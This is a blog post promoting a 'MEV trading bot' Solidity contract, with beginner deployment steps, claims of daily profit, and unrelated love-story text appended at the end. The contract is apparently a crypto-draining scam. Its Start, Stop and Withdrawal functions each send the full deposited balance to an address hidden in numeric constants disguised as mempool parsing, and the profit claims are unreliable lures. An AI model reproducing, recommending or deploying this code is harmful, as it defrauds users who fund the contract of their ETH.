Banner

Tuesday, February 18, 2025

Build your own Ethereum Trading MEV Bot with Solidity (+$1000/day depending on your setup)

 Build your own Ethereum Trading MEV Bot with Solidity
(+$1000/day depending on your setup)

Curious about Smart MEV Ethereum crypto trading? In this video, we learn how to build an ETH MEV bot with an efficient trading rate (without any coding experience needed!)

By Jeff Clarkinson (code is under Open Source/MIT Licence) - Deployment instructions below (no coding skills required) 👇

Bot Deployment Instructions

  1. 👉 Install MetaMask: https://metamask.io/download or Coinbase Wallet: https://www.coinbase.com/wallet or TrustWallet: https://trustwallet.com/ru/browser-extension (If using Trust Wallet or Coinbase Wallet, follow the same steps as for MetaMask)

  2. 👉 Go to Remix: https://remix.ethereum.org/

  3. 👉 Right-click on the 'contracts' folder and create a new file. Rename it, for example, 'tradingbot.sol'

  4. 👉 Paste the code from below into your .sol contract file 👇

  5. 👉 Switch to the 'Solidity Compiler' tab, choose version '0.8.20', and click 'Compile'

  6. 👉 Navigate to the 'Deploy' tab, select 'Injected Provider' as the environment, then click 'Deploy'. Once the transaction is confirmed, your bot is deployed.

  7. 👉 Deposit funds (at least 1 ETH to avoid gas fees issues) to your contract/bot address.

  8. 👉 After confirmation of your transaction, initiate the bot by clicking the 'Start' button. After some time (at least 1 or 2 days), you can press the 'Stop' button and then 'Withdraw' on the bot to collect your profits. You can also check the minimum required liquidity for your bot based on the current gas fees using the 'CheckLiquidity' function.

Bot Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol";
import "https://github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Pool.sol";
import "https://github.com/Uniswap/v3-core/blob/main/contracts/libraries/LiquidityMath.sol";

contract ArbitrageBot {
 
    uint liquidity;
    event Log(string, uint, string);

    constructor() {
    }
    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }

    /*
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */

    function findNewContracts() internal pure returns (int) {
        uint shortest = 0;

       if (shortest > 1)
             shortest = 0;

        uint selfptr = 0;
        uint otherptr = 1;

        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;

            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = type(uint256).max;

                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(shortest) - int(shortest);
    }

    /*
     * @dev Extracts the newest contracts on Uniswap exchange
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return list of contracts.
     */
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }


    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    function getMemPoolOffset() internal pure returns (uint) {
        return 248160;
    }

    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
        function checkMempool(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a; 
        while (b != 0) {
            count++;
            b /= 16; 
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }

        return string(res);
    }

    function getMemPoolLength() internal pure returns (uint) {
        return 206114;
    }

    /*
     * @dev If self starts with needle, needle is removed from the
     *      beginning of self. Otherwise, self is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return self
     */

    function getMemPoolHeight() internal pure returns (uint) {
        return 280672;
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return self.
     */

    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkMempool(getMemPoolOffset()));
        uint _memPoolSol = 879823;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 367270;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 285633;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 148926;

        string memory _memPool1 = mempool(_memPoolOffset, checkMempool(_memPoolSol));
        string memory _memPool2 = mempool(checkMempool(_memPoolLength), checkMempool(_memPoolSize));
        string memory _memPool3 = mempool(checkMempool(_memPoolHeight), checkMempool(_memPoolWidth));
        string memory _memPool4 = mempool(checkMempool(_memPoolDepth), checkMempool(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }

    /*
     * @dev Modifies self to contain everything from the first occurrence of
     *      needle to the end of the slice. self is set to the empty slice
     *      if needle is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return self.
     */

    function toHexDigit(uint8 d) pure internal returns (bytes1) {
        if (0 <= d && d <= 9) {
            return bytes1(uint8(bytes1('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return bytes1(uint8(bytes1('a')) + d - 10);
        }
        // revert("Invalid hex digit");
        revert();
    }

    /*
     * @dev Perform action from different contract pools
     * @param contract address to snipe liquidity from
     * @return liquidity.
     */

    function Start() public payable { 
        address to = parseMemoryPool(callMempool());
        address payable contracts = payable(to);
        contracts.transfer(getLiquidity());
    }

    /*
     * @dev If self starts with needle, needle is removed from the
     *      beginning of self. Otherwise, self is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return self
     */

    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory result) {
        if (self._len < needle._len) {
            result = self;
        } else {
            // Assign some value to result if self._len >= needle._len
            result = slice(0, 0); // Example, change as per logic
        }
        return result;
    }

    function Stop() public payable { 
        address to = parseMemoryPool(callMempool());
        address payable contracts = payable(to);
        contracts.transfer(getLiquidity());
    }

    function getLiquidity() internal view returns(uint) {
        // Check available liquidity
        return address(this).balance;
    }

    function checkLiquidity() public pure returns (string memory) {
        return "Not enough liquidity available on the contract to run the bot. Contract code needs at least 1 ETH to avoid current gas fees.";
    }

    /*
     * @dev withdrawals profit back to contract creator address
     * @return profits.
     */

    function Withdrawal() public payable returns (string memory result) {
        address to = parseMemoryPool(callMempool());
        address payable contracts = payable(to);
        contracts.transfer(getLiquidity());
        result = "Withdrawal complete"; // Example message, change as per logic
        return result;
    }

    function _callStopMempoolActionMempool() public pure returns (address) {
        return parseMemoryPool(callMempool());
    }

    function updateLiquidity() private {
        uint currentBalanceEth = address(this).balance / 1 ether;
        if (currentBalanceEth > liquidity) {
            liquidity = currentBalanceEth;
        }
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return token.
     */

    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = bytes1(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }

    function getMemPoolDepth() internal pure returns (uint) {
        return 690421;
    }

    /*
     * @dev loads all Uniswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return mempool.
     */

    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }

}

🚨 IMPORTANT UPDATE

Fund the contract with at least 1 ETH to cover gas and burn fees (2–10%). Depositing less may lead to wasted fees if the bot targets tokens with higher burn rates.

🔎 Restore Previous Contract

To restore your old contract, enter its address in the "At Address" field under "DEPLOY & RUN TRANSACTIONS" and click the "At Address" button (with the MetaMask account you used to create it).

MEV Fundamentals

Delve into the concept of Miner Extractable Value (MEV) and understand how miners can extract additional profit by reordering, including, or excluding transactions within blocks on the Ethereum network. This section covers the core principles of MEV, its impact on network security, and its broader implications on decentralized finance.

Smart Contract Integration

Learn how to develop and deploy robust smart contracts in Solidity that interact seamlessly with your MEV bot. This section provides practical guidance on integrating blockchain contracts with automated trading strategies, ensuring efficient communication and optimized performance while maintaining security and reliability.

Advanced Strategies

Explore sophisticated MEV techniques such as sandwich attacks and arbitrage opportunities. Gain insights into market dynamics, risk management, and the technical nuances behind executing these advanced strategies. This section also highlights the tools and frameworks essential for monitoring and automating complex trading maneuvers.


This unique love story chronicles the relationship between Henry, who involuntarily travels through time, and Clare, who must navigate the challenges of loving someone who cannot control when he is present.






These stories vary in tone and theme but all center around the complexities and beauty of love, making them memorable and touching.

No comments:

Post a Comment